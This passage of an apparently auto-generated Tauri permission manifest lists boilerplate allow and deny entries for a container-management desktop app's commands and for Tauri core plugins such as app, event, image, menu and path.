scope.","commands":{"allow":[],"deny":["get_browser_view_match_window"]}},"deny-get-browser-view-popout-state":{"identifier":"deny-get-browser-view-popout-state","description":"Denies the get_browser_view_popout_state command without any pre-configured scope.","commands":{"allow":[],"deny":["get_browser_view_popout_state"]}},"deny-get-browser-view-status":{"identifier":"deny-get-browser-view-status","description":"Denies the get_browser_view_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_browser_view_status"]}},"deny-get-container-info":{"identifier":"deny-get-container-info","description":"Denies the get_container_info command without any pre-configured scope.","commands":{"allow":[],"deny":["get_container_info"]}},"deny-get-container-page-state":{"identifier":"deny-get-container-page-state","description":"Denies the get_container_page_state command without any pre-configured scope.","commands":{"allow":[],"deny":["get_container_page_state"]}},"deny-get-container-staleness":{"identifier":"deny-get-container-staleness","description":"Denies the get_container_staleness command without any pre-configured scope.","commands":{"allow":[],"deny":["get_container_staleness"]}},"deny-get-gateway-auth-token":{"identifier":"deny-get-gateway-auth-token","description":"Denies the get_gateway_auth_token command without any pre-configured scope.","commands":{"allow":[],"deny":["get_gateway_auth_token"]}},"deny-get-gateway-status":{"identifier":"deny-get-gateway-status","description":"Denies the get_gateway_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_gateway_status"]}},"deny-get-help-content":{"identifier":"deny-get-help-content","description":"Denies the get_help_content command without any pre-configured scope.","commands":{"allow":[],"deny":["get_help_content"]}},"deny-get-migration-state":{"identifier":"deny-get-migration-state","description":"Denies the get_migration_state command without any pre-configured scope.","commands":{"allow":[],"deny":["get_migration_state"]}},"deny-get-scheduled-task-log":{"identifier":"deny-get-scheduled-task-log","description":"Denies the get_scheduled_task_log command without any pre-configured scope.","commands":{"allow":[],"deny":["get_scheduled_task_log"]}},"deny-get-scheduler-notifications":{"identifier":"deny-get-scheduler-notifications","description":"Denies the get_scheduler_notifications command without any pre-configured scope.","commands":{"allow":[],"deny":["get_scheduler_notifications"]}},"deny-get-settings":{"identifier":"deny-get-settings","description":"Denies the get_settings command without any pre-configured scope.","commands":{"allow":[],"deny":["get_settings"]}},"deny-get-stt-status":{"identifier":"deny-get-stt-status","description":"Denies the get_stt_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_stt_status"]}},"deny-get-web-terminal-status":{"identifier":"deny-get-web-terminal-status","description":"Denies the get_web_terminal_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_web_terminal_status"]}},"deny-has-claude-token":{"identifier":"deny-has-claude-token","description":"Denies the has_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["has_claude_token"]}},"deny-inspect-ca-cert-path":{"identifier":"deny-inspect-ca-cert-path","description":"Denies the inspect_ca_cert_path command without any pre-configured scope.","commands":{"allow":[],"deny":["inspect_ca_cert_path"]}},"deny-install-browser-view-browser":{"identifier":"deny-install-browser-view-browser","description":"Denies the install_browser_view_browser command without any pre-configured scope.","commands":{"allow":[],"deny":["install_browser_view_browser"]}},"deny-install-browser-view-support":{"identifier":"deny-install-browser-view-support","description":"Denies the install_browser_view_support command without any pre-configured scope.","commands":{"allow":[],"deny":["install_browser_view_support"]}},"deny-list-aws-profiles":{"identifier":"deny-list-aws-profiles","description":"Denies the list_aws_profiles command without any pre-configured scope.","commands":{"allow":[],"deny":["list_aws_profiles"]}},"deny-list-claude-sessions":{"identifier":"deny-list-claude-sessions","description":"Denies the list_claude_sessions command without any pre-configured scope.","commands":{"allow":[],"deny":["list_claude_sessions"]}},"deny-list-container-capabilities":{"identifier":"deny-list-container-capabilities","description":"Denies the list_container_capabilities command without any pre-configured scope.","commands":{"allow":[],"deny":["list_container_capabilities"]}},"deny-list-container-files":{"identifier":"deny-list-container-files","description":"Denies the list_container_files command without any pre-configured scope.","commands":{"allow":[],"deny":["list_container_files"]}},"deny-list-notes":{"identifier":"deny-list-notes","description":"Denies the list_notes command without any pre-configured scope.","commands":{"allow":[],"deny":["list_notes"]}},"deny-list-projects":{"identifier":"deny-list-projects","description":"Denies the list_projects command without any pre-configured scope.","commands":{"allow":[],"deny":["list_projects"]}},"deny-list-scheduled-tasks":{"identifier":"deny-list-scheduled-tasks","description":"Denies the list_scheduled_tasks command without any pre-configured scope.","commands":{"allow":[],"deny":["list_scheduled_tasks"]}},"deny-migrate-project-to-base":{"identifier":"deny-migrate-project-to-base","description":"Denies the migrate_project_to_base command without any pre-configured scope.","commands":{"allow":[],"deny":["migrate_project_to_base"]}},"deny-open-browser-view-popout":{"identifier":"deny-open-browser-view-popout","description":"Denies the open_browser_view_popout command without any pre-configured scope.","commands":{"allow":[],"deny":["open_browser_view_popout"]}},"deny-open-file-viewer":{"identifier":"deny-open-file-viewer","description":"Denies the open_file_viewer command without any pre-configured scope.","commands":{"allow":[],"deny":["open_file_viewer"]}},"deny-open-page-in-container-browser":{"identifier":"deny-open-page-in-container-browser","description":"Denies the open_page_in_container_browser command without any pre-configured scope.","commands":{"allow":[],"deny":["open_page_in_container_browser"]}},"deny-open-terminal-session":{"identifier":"deny-open-terminal-session","description":"Denies the open_terminal_session command without any pre-configured scope.","commands":{"allow":[],"deny":["open_terminal_session"]}},"deny-open-url-external":{"identifier":"deny-open-url-external","description":"Denies the open_url_external command without any pre-configured scope.","commands":{"allow":[],"deny":["open_url_external"]}},"deny-paste-image-to-terminal":{"identifier":"deny-paste-image-to-terminal","description":"Denies the paste_image_to_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["paste_image_to_terminal"]}},"deny-preview-settings-import":{"identifier":"deny-preview-settings-import","description":"Denies the preview_settings_import command without any pre-configured scope.","commands":{"allow":[],"deny":["preview_settings_import"]}},"deny-pull-gateway-image":{"identifier":"deny-pull-gateway-image","description":"Denies the pull_gateway_image command without any pre-configured scope.","commands":{"allow":[],"deny":["pull_gateway_image"]}},"deny-pull-image":{"identifier":"deny-pull-image","description":"Denies the pull_image command without any pre-configured scope.","commands":{"allow":[],"deny":["pull_image"]}},"deny-pull-stt-image":{"identifier":"deny-pull-stt-image","description":"Denies the pull_stt_image command without any pre-configured scope.","commands":{"allow":[],"deny":["pull_stt_image"]}},"deny-read-container-file":{"identifier":"deny-read-container-file","description":"Denies the read_container_file command without any pre-configured scope.","commands":{"allow":[],"deny":["read_container_file"]}},"deny-rebuild-project-container":{"identifier":"deny-rebuild-project-container","description":"Denies the rebuild_project_container command without any pre-configured scope.","commands":{"allow":[],"deny":["rebuild_project_container"]}},"deny-reconcile-project-statuses":{"identifier":"deny-reconcile-project-statuses","description":"Denies the reconcile_project_statuses command without any pre-configured scope.","commands":{"allow":[],"deny":["reconcile_project_statuses"]}},"deny-regenerate-gateway-auth-token":{"identifier":"deny-regenerate-gateway-auth-token","description":"Denies the regenerate_gateway_auth_token command without any pre-configured scope.","commands":{"allow":[],"deny":["regenerate_gateway_auth_token"]}},"deny-regenerate-web-terminal-token":{"identifier":"deny-regenerate-web-terminal-token","description":"Denies the regenerate_web_terminal_token command without any pre-configured scope.","commands":{"allow":[],"deny":["regenerate_web_terminal_token"]}},"deny-remove-project":{"identifier":"deny-remove-project","description":"Denies the remove_project command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_project"]}},"deny-remove-scheduled-task":{"identifier":"deny-remove-scheduled-task","description":"Denies the remove_scheduled_task command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_scheduled_task"]}},"deny-rename-container-path":{"identifier":"deny-rename-container-path","description":"Denies the rename_container_path command without any pre-configured scope.","commands":{"allow":[],"deny":["rename_container_path"]}},"deny-resume-session-command":{"identifier":"deny-resume-session-command","description":"Denies the resume_session_command command without any pre-configured scope.","commands":{"allow":[],"deny":["resume_session_command"]}},"deny-rollback-migration":{"identifier":"deny-rollback-migration","description":"Denies the rollback_migration command without any pre-configured scope.","commands":{"allow":[],"deny":["rollback_migration"]}},"deny-run-docker-install":{"identifier":"deny-run-docker-install","description":"Denies the run_docker_install command without any pre-configured scope.","commands":{"allow":[],"deny":["run_docker_install"]}},"deny-run-scheduled-task-now":{"identifier":"deny-run-scheduled-task-now","description":"Denies the run_scheduled_task_now command without any pre-configured scope.","commands":{"allow":[],"deny":["run_scheduled_task_now"]}},"deny-save-note":{"identifier":"deny-save-note","description":"Denies the save_note command without any pre-configured scope.","commands":{"allow":[],"deny":["save_note"]}},"deny-send-audio-data":{"identifier":"deny-send-audio-data","description":"Denies the send_audio_data command without any pre-configured scope.","commands":{"allow":[],"deny":["send_audio_data"]}},"deny-set-auth-bridge-enabled":{"identifier":"deny-set-auth-bridge-enabled","description":"Denies the set_auth_bridge_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_auth_bridge_enabled"]}},"deny-set-browser-view-enabled":{"identifier":"deny-set-browser-view-enabled","description":"Denies the set_browser_view_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_browser_view_enabled"]}},"deny-set-browser-view-match-window":{"identifier":"deny-set-browser-view-match-window","description":"Denies the set_browser_view_match_window command without any pre-configured scope.","commands":{"allow":[],"deny":["set_browser_view_match_window"]}},"deny-set-browser-view-popout-always-on-top":{"identifier":"deny-set-browser-view-popout-always-on-top","description":"Denies the set_browser_view_popout_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["set_browser_view_popout_always_on_top"]}},"deny-set-container-page-viewport":{"identifier":"deny-set-container-page-viewport","description":"Denies the set_container_page_viewport command without any pre-configured scope.","commands":{"allow":[],"deny":["set_container_page_viewport"]}},"deny-set-gateway-api-key":{"identifier":"deny-set-gateway-api-key","description":"Denies the set_gateway_api_key command without any pre-configured scope.","commands":{"allow":[],"deny":["set_gateway_api_key"]}},"deny-set-scheduled-task-enabled":{"identifier":"deny-set-scheduled-task-enabled","description":"Denies the set_scheduled_task_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_scheduled_task_enabled"]}},"deny-start-audio-bridge":{"identifier":"deny-start-audio-bridge","description":"Denies the start_audio_bridge command without any pre-configured scope.","commands":{"allow":[],"deny":["start_audio_bridge"]}},"deny-start-gateway":{"identifier":"deny-start-gateway","description":"Denies the start_gateway command without any pre-configured scope.","commands":{"allow":[],"deny":["start_gateway"]}},"deny-start-project-container":{"identifier":"deny-start-project-container","description":"Denies the start_project_container command without any pre-configured scope.","commands":{"allow":[],"deny":["start_project_container"]}},"deny-start-stt":{"identifier":"deny-start-stt","description":"Denies the start_stt command without any pre-configured scope.","commands":{"allow":[],"deny":["start_stt"]}},"deny-start-web-terminal":{"identifier":"deny-start-web-terminal","description":"Denies the start_web_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["start_web_terminal"]}},"deny-stop-audio-bridge":{"identifier":"deny-stop-audio-bridge","description":"Denies the stop_audio_bridge command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_audio_bridge"]}},"deny-stop-gateway":{"identifier":"deny-stop-gateway","description":"Denies the stop_gateway command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_gateway"]}},"deny-stop-project-container":{"identifier":"deny-stop-project-container","description":"Denies the stop_project_container command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_project_container"]}},"deny-stop-stt":{"identifier":"deny-stop-stt","description":"Denies the stop_stt command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_stt"]}},"deny-stop-web-terminal":{"identifier":"deny-stop-web-terminal","description":"Denies the stop_web_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_web_terminal"]}},"deny-submit-claude-token-code":{"identifier":"deny-submit-claude-token-code","description":"Denies the submit_claude_token_code command without any pre-configured scope.","commands":{"allow":[],"deny":["submit_claude_token_code"]}},"deny-sweep-claude-token-snapshots":{"identifier":"deny-sweep-claude-token-snapshots","description":"Denies the sweep_claude_token_snapshots command without any pre-configured scope.","commands":{"allow":[],"deny":["sweep_claude_token_snapshots"]}},"deny-terminal-input":{"identifier":"deny-terminal-input","description":"Denies the terminal_input command without any pre-configured scope.","commands":{"allow":[],"deny":["terminal_input"]}},"deny-terminal-resize":{"identifier":"deny-terminal-resize","description":"Denies the terminal_resize command without any pre-configured scope.","commands":{"allow":[],"deny":["terminal_resize"]}},"deny-transcribe-audio":{"identifier":"deny-transcribe-audio","description":"Denies the transcribe_audio command without any pre-configured scope.","commands":{"allow":[],"deny":["transcribe_audio"]}},"deny-update-project":{"identifier":"deny-update-project","description":"Denies the update_project command without any pre-configured scope.","commands":{"allow":[],"deny":["update_project"]}},"deny-update-scheduled-task":{"identifier":"deny-update-scheduled-task","description":"Denies the update_scheduled_task command without any pre-configured scope.","commands":{"allow":[],"deny":["update_scheduled_task"]}},"deny-update-settings":{"identifier":"deny-update-settings","description":"Denies the update_settings command without any pre-configured scope.","commands":{"allow":[],"deny":["update_settings"]}},"deny-upload-files-to-container":{"identifier":"deny-upload-files-to-container","description":"Denies the upload_files_to_container command without any pre-configured scope.","commands":{"allow":[],"deny":["upload_files_to_container"]}},"deny-upload-host-file-to-terminal":{"identifier":"deny-upload-host-file-to-terminal","description":"Denies the upload_host_file_to_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["upload_host_file_to_terminal"]}},"deny-viewer-choose-file":{"identifier":"deny-viewer-choose-file","description":"Denies the viewer_choose_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_choose_file"]}},"deny-viewer-get-state":{"identifier":"deny-viewer-get-state","description":"Denies the viewer_get_state command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_get_state"]}},"deny-viewer-poll-file":{"identifier":"deny-viewer-poll-file","description":"Denies the viewer_poll_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_poll_file"]}},"deny-viewer-read-file":{"identifier":"deny-viewer-read-file","description":"Denies the viewer_read_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_read_file"]}},"deny-viewer-write-file":{"identifier":"deny-viewer-write-file","description":"Denies the viewer_write_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_write_file"]}}},"permission_sets":{},"global_scope_schema":null},"core":{"default_permission":{"identifier":"default","description":"Default core plugins set.","permissions":["core:path:default","core:event:default","core:window:default","core:webview:default","core:app:default","core:image:default","core:resources:default","core:menu:default","core:tray:default"]},"permissions":{},"permission_sets":{},"global_scope_schema":null},"core:app":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-version","allow-name","allow-tauri-version","allow-identifier","allow-bundle-type","allow-register-listener","allow-remove-listener","allow-supports-multiple-windows"]},"permissions":{"allow-app-hide":{"identifier":"allow-app-hide","description":"Enables the app_hide command without any pre-configured scope.","commands":{"allow":["app_hide"],"deny":[]}},"allow-app-show":{"identifier":"allow-app-show","description":"Enables the app_show command without any pre-configured scope.","commands":{"allow":["app_show"],"deny":[]}},"allow-bundle-type":{"identifier":"allow-bundle-type","description":"Enables the bundle_type command without any pre-configured scope.","commands":{"allow":["bundle_type"],"deny":[]}},"allow-default-window-icon":{"identifier":"allow-default-window-icon","description":"Enables the default_window_icon command without any pre-configured scope.","commands":{"allow":["default_window_icon"],"deny":[]}},"allow-fetch-data-store-identifiers":{"identifier":"allow-fetch-data-store-identifiers","description":"Enables the fetch_data_store_identifiers command without any pre-configured scope.","commands":{"allow":["fetch_data_store_identifiers"],"deny":[]}},"allow-identifier":{"identifier":"allow-identifier","description":"Enables the identifier command without any pre-configured scope.","commands":{"allow":["identifier"],"deny":[]}},"allow-name":{"identifier":"allow-name","description":"Enables the name command without any pre-configured scope.","commands":{"allow":["name"],"deny":[]}},"allow-register-listener":{"identifier":"allow-register-listener","description":"Enables the register_listener command without any pre-configured scope.","commands":{"allow":["register_listener"],"deny":[]}},"allow-remove-data-store":{"identifier":"allow-remove-data-store","description":"Enables the remove_data_store command without any pre-configured scope.","commands":{"allow":["remove_data_store"],"deny":[]}},"allow-remove-listener":{"identifier":"allow-remove-listener","description":"Enables the remove_listener command without any pre-configured scope.","commands":{"allow":["remove_listener"],"deny":[]}},"allow-set-app-theme":{"identifier":"allow-set-app-theme","description":"Enables the set_app_theme command without any pre-configured scope.","commands":{"allow":["set_app_theme"],"deny":[]}},"allow-set-dock-visibility":{"identifier":"allow-set-dock-visibility","description":"Enables the set_dock_visibility command without any pre-configured scope.","commands":{"allow":["set_dock_visibility"],"deny":[]}},"allow-supports-multiple-windows":{"identifier":"allow-supports-multiple-windows","description":"Enables the supports_multiple_windows command without any pre-configured scope.","commands":{"allow":["supports_multiple_windows"],"deny":[]}},"allow-tauri-version":{"identifier":"allow-tauri-version","description":"Enables the tauri_version command without any pre-configured scope.","commands":{"allow":["tauri_version"],"deny":[]}},"allow-version":{"identifier":"allow-version","description":"Enables the version command without any pre-configured scope.","commands":{"allow":["version"],"deny":[]}},"deny-app-hide":{"identifier":"deny-app-hide","description":"Denies the app_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["app_hide"]}},"deny-app-show":{"identifier":"deny-app-show","description":"Denies the app_show command without any pre-configured scope.","commands":{"allow":[],"deny":["app_show"]}},"deny-bundle-type":{"identifier":"deny-bundle-type","description":"Denies the bundle_type command without any pre-configured scope.","commands":{"allow":[],"deny":["bundle_type"]}},"deny-default-window-icon":{"identifier":"deny-default-window-icon","description":"Denies the default_window_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["default_window_icon"]}},"deny-fetch-data-store-identifiers":{"identifier":"deny-fetch-data-store-identifiers","description":"Denies the fetch_data_store_identifiers command without any pre-configured scope.","commands":{"allow":[],"deny":["fetch_data_store_identifiers"]}},"deny-identifier":{"identifier":"deny-identifier","description":"Denies the identifier command without any pre-configured scope.","commands":{"allow":[],"deny":["identifier"]}},"deny-name":{"identifier":"deny-name","description":"Denies the name command without any pre-configured scope.","commands":{"allow":[],"deny":["name"]}},"deny-register-listener":{"identifier":"deny-register-listener","description":"Denies the register_listener command without any pre-configured scope.","commands":{"allow":[],"deny":["register_listener"]}},"deny-remove-data-store":{"identifier":"deny-remove-data-store","description":"Denies the remove_data_store command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_data_store"]}},"deny-remove-listener":{"identifier":"deny-remove-listener","description":"Denies the remove_listener command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_listener"]}},"deny-set-app-theme":{"identifier":"deny-set-app-theme","description":"Denies the set_app_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_app_theme"]}},"deny-set-dock-visibility":{"identifier":"deny-set-dock-visibility","description":"Denies the set_dock_visibility command without any pre-configured scope.","commands":{"allow":[],"deny":["set_dock_visibility"]}},"deny-supports-multiple-windows":{"identifier":"deny-supports-multiple-windows","description":"Denies the supports_multiple_windows command without any pre-configured scope.","commands":{"allow":[],"deny":["supports_multiple_windows"]}},"deny-tauri-version":{"identifier":"deny-tauri-version","description":"Denies the tauri_version command without any pre-configured scope.","commands":{"allow":[],"deny":["tauri_version"]}},"deny-version":{"identifier":"deny-version","description":"Denies the version command without any pre-configured scope.","commands":{"allow":[],"deny":["version"]}}},"permission_sets":{},"global_scope_schema":null},"core:event":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-listen","allow-unlisten","allow-emit","allow-emit-to"]},"permissions":{"allow-emit":{"identifier":"allow-emit","description":"Enables the emit command without any pre-configured scope.","commands":{"allow":["emit"],"deny":[]}},"allow-emit-to":{"identifier":"allow-emit-to","description":"Enables the emit_to command without any pre-configured scope.","commands":{"allow":["emit_to"],"deny":[]}},"allow-listen":{"identifier":"allow-listen","description":"Enables the listen command without any pre-configured scope.","commands":{"allow":["listen"],"deny":[]}},"allow-unlisten":{"identifier":"allow-unlisten","description":"Enables the unlisten command without any pre-configured scope.","commands":{"allow":["unlisten"],"deny":[]}},"deny-emit":{"identifier":"deny-emit","description":"Denies the emit command without any pre-configured scope.","commands":{"allow":[],"deny":["emit"]}},"deny-emit-to":{"identifier":"deny-emit-to","description":"Denies the emit_to command without any pre-configured scope.","commands":{"allow":[],"deny":["emit_to"]}},"deny-listen":{"identifier":"deny-listen","description":"Denies the listen command without any pre-configured scope.","commands":{"allow":[],"deny":["listen"]}},"deny-unlisten":{"identifier":"deny-unlisten","description":"Denies the unlisten command without any pre-configured scope.","commands":{"allow":[],"deny":["unlisten"]}}},"permission_sets":{},"global_scope_schema":null},"core:image":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-from-bytes","allow-from-path","allow-rgba","allow-size"]},"permissions":{"allow-from-bytes":{"identifier":"allow-from-bytes","description":"Enables the from_bytes command without any pre-configured scope.","commands":{"allow":["from_bytes"],"deny":[]}},"allow-from-path":{"identifier":"allow-from-path","description":"Enables the from_path command without any pre-configured scope.","commands":{"allow":["from_path"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-rgba":{"identifier":"allow-rgba","description":"Enables the rgba command without any pre-configured scope.","commands":{"allow":["rgba"],"deny":[]}},"allow-size":{"identifier":"allow-size","description":"Enables the size command without any pre-configured scope.","commands":{"allow":["size"],"deny":[]}},"deny-from-bytes":{"identifier":"deny-from-bytes","description":"Denies the from_bytes command without any pre-configured scope.","commands":{"allow":[],"deny":["from_bytes"]}},"deny-from-path":{"identifier":"deny-from-path","description":"Denies the from_path command without any pre-configured scope.","commands":{"allow":[],"deny":["from_path"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-rgba":{"identifier":"deny-rgba","description":"Denies the rgba command without any pre-configured scope.","commands":{"allow":[],"deny":["rgba"]}},"deny-size":{"identifier":"deny-size","description":"Denies the size command without any pre-configured scope.","commands":{"allow":[],"deny":["size"]}}},"permission_sets":{},"global_scope_schema":null},"core:menu":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-append","allow-prepend","allow-insert","allow-remove","allow-remove-at","allow-items","allow-get","allow-popup","allow-create-default","allow-set-as-app-menu","allow-set-as-window-menu","allow-text","allow-set-text","allow-is-enabled","allow-set-enabled","allow-set-accelerator","allow-set-as-windows-menu-for-nsapp","allow-set-as-help-menu-for-nsapp","allow-is-checked","allow-set-checked","allow-set-icon"]},"permissions":{"allow-append":{"identifier":"allow-append","description":"Enables the append command without any pre-configured scope.","commands":{"allow":["append"],"deny":[]}},"allow-create-default":{"identifier":"allow-create-default","description":"Enables the create_default command without any pre-configured scope.","commands":{"allow":["create_default"],"deny":[]}},"allow-get":{"identifier":"allow-get","description":"Enables the get command without any pre-configured scope.","commands":{"allow":["get"],"deny":[]}},"allow-insert":{"identifier":"allow-insert","description":"Enables the insert command without any pre-configured scope.","commands":{"allow":["insert"],"deny":[]}},"allow-is-checked":{"identifier":"allow-is-checked","description":"Enables the is_checked command without any pre-configured scope.","commands":{"allow":["is_checked"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-items":{"identifier":"allow-items","description":"Enables the items command without any pre-configured scope.","commands":{"allow":["items"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-popup":{"identifier":"allow-popup","description":"Enables the popup command without any pre-configured scope.","commands":{"allow":["popup"],"deny":[]}},"allow-prepend":{"identifier":"allow-prepend","description":"Enables the prepend command without any pre-configured scope.","commands":{"allow":["prepend"],"deny":[]}},"allow-remove":{"identifier":"allow-remove","description":"Enables the remove command without any pre-configured scope.","commands":{"allow":["remove"],"deny":[]}},"allow-remove-at":{"identifier":"allow-remove-at","description":"Enables the remove_at command without any pre-configured scope.","commands":{"allow":["remove_at"],"deny":[]}},"allow-set-accelerator":{"identifier":"allow-set-accelerator","description":"Enables the set_accelerator command without any pre-configured scope.","commands":{"allow":["set_accelerator"],"deny":[]}},"allow-set-as-app-menu":{"identifier":"allow-set-as-app-menu","description":"Enables the set_as_app_menu command without any pre-configured scope.","commands":{"allow":["set_as_app_menu"],"deny":[]}},"allow-set-as-help-menu-for-nsapp":{"identifier":"allow-set-as-help-menu-for-nsapp","description":"Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_help_menu_for_nsapp"],"deny":[]}},"allow-set-as-window-menu":{"identifier":"allow-set-as-window-menu","description":"Enables the set_as_window_menu command without any pre-configured scope.","commands":{"allow":["set_as_window_menu"],"deny":[]}},"allow-set-as-windows-menu-for-nsapp":{"identifier":"allow-set-as-windows-menu-for-nsapp","description":"Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_windows_menu_for_nsapp"],"deny":[]}},"allow-set-checked":{"identifier":"allow-set-checked","description":"Enables the set_checked command without any pre-configured scope.","commands":{"allow":["set_checked"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-text":{"identifier":"allow-set-text","description":"Enables the set_text command without any pre-configured scope.","commands":{"allow":["set_text"],"deny":[]}},"allow-text":{"identifier":"allow-text","description":"Enables the text command without any pre-configured scope.","commands":{"allow":["text"],"deny":[]}},"deny-append":{"identifier":"deny-append","description":"Denies the append command without any pre-configured scope.","commands":{"allow":[],"deny":["append"]}},"deny-create-default":{"identifier":"deny-create-default","description":"Denies the create_default command without any pre-configured scope.","commands":{"allow":[],"deny":["create_default"]}},"deny-get":{"identifier":"deny-get","description":"Denies the get command without any pre-configured scope.","commands":{"allow":[],"deny":["get"]}},"deny-insert":{"identifier":"deny-insert","description":"Denies the insert command without any pre-configured scope.","commands":{"allow":[],"deny":["insert"]}},"deny-is-checked":{"identifier":"deny-is-checked","description":"Denies the is_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["is_checked"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-items":{"identifier":"deny-items","description":"Denies the items command without any pre-configured scope.","commands":{"allow":[],"deny":["items"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-popup":{"identifier":"deny-popup","description":"Denies the popup command without any pre-configured scope.","commands":{"allow":[],"deny":["popup"]}},"deny-prepend":{"identifier":"deny-prepend","description":"Denies the prepend command without any pre-configured scope.","commands":{"allow":[],"deny":["prepend"]}},"deny-remove":{"identifier":"deny-remove","description":"Denies the remove command without any pre-configured scope.","commands":{"allow":[],"deny":["remove"]}},"deny-remove-at":{"identifier":"deny-remove-at","description":"Denies the remove_at command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_at"]}},"deny-set-accelerator":{"identifier":"deny-set-accelerator","description":"Denies the set_accelerator command without any pre-configured scope.","commands":{"allow":[],"deny":["set_accelerator"]}},"deny-set-as-app-menu":{"identifier":"deny-set-as-app-menu","description":"Denies the set_as_app_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_app_menu"]}},"deny-set-as-help-menu-for-nsapp":{"identifier":"deny-set-as-help-menu-for-nsapp","description":"Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_help_menu_for_nsapp"]}},"deny-set-as-window-menu":{"identifier":"deny-set-as-window-menu","description":"Denies the set_as_window_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_window_menu"]}},"deny-set-as-windows-menu-for-nsapp":{"identifier":"deny-set-as-windows-menu-for-nsapp","description":"Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_windows_menu_for_nsapp"]}},"deny-set-checked":{"identifier":"deny-set-checked","description":"Denies the set_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["set_checked"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-text":{"identifier":"deny-set-text","description":"Denies the set_text command without any pre-configured scope.","commands":{"allow":[],"deny":["set_text"]}},"deny-text":{"identifier":"deny-text","description":"Denies the text command without any pre-configured scope.","commands":{"allow":[],"deny":["text"]}}},"permission_sets":{},"global_scope_schema":null},"core:path":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-resolve-directory","allow-resolve","allow-normalize","allow-join","allow-dirname","allow-extname","allow-basename","allow-is-absolute"]},"permissions":{"allow-basename":{"identifier":"allow-basename","description":"Enables the basename command without any pre-configured scope.","commands":{"allow":["basename"],"deny":[]}},"allow-dirname":{"identifier":"allow-dirname","description":"Enables the dirname command without any pre-configured scope.","commands":{"allow":["dirname"],"deny":[]}},"allow-extname":{"identifier":"allow-extname","description":"Enables the extname command without any pre-configured scope.","commands":{"allow":["extname"],"deny":[]}},"allow-is-absolute":{"identifier":"allow-is-absolute","description":"Enables the is_absolute command without any pre-configured scope.","commands":{"allow":["is_absolute"],"deny":[]}},"allow-join":{"identifier":"allow-join","description":"Enables the join command without any pre-configured scope.","commands":{"allow":["join"],"deny":[]}},"allow-normalize":{"identifier":"allow-normalize","description":"Enables the normalize command without any pre-configured scope.","commands":{"allow":["normalize"],"deny":[]}},"allow-resolve":{"identifier":"allow-resolve","description":"Enables the resolve command without any pre-configured scope.","commands":{"allow":["resolve"],"deny":[]}},"allow-resolve-directory":{"identifier":"allow-resolve-directory","description":"Enables the resolve_directory command without any pre-configured scope.","commands":{"allow":["resolve_directory"],"deny":[]}},"deny-basename":{"identifier":"deny-basename","description":"Denies the basename command without any pre-configured 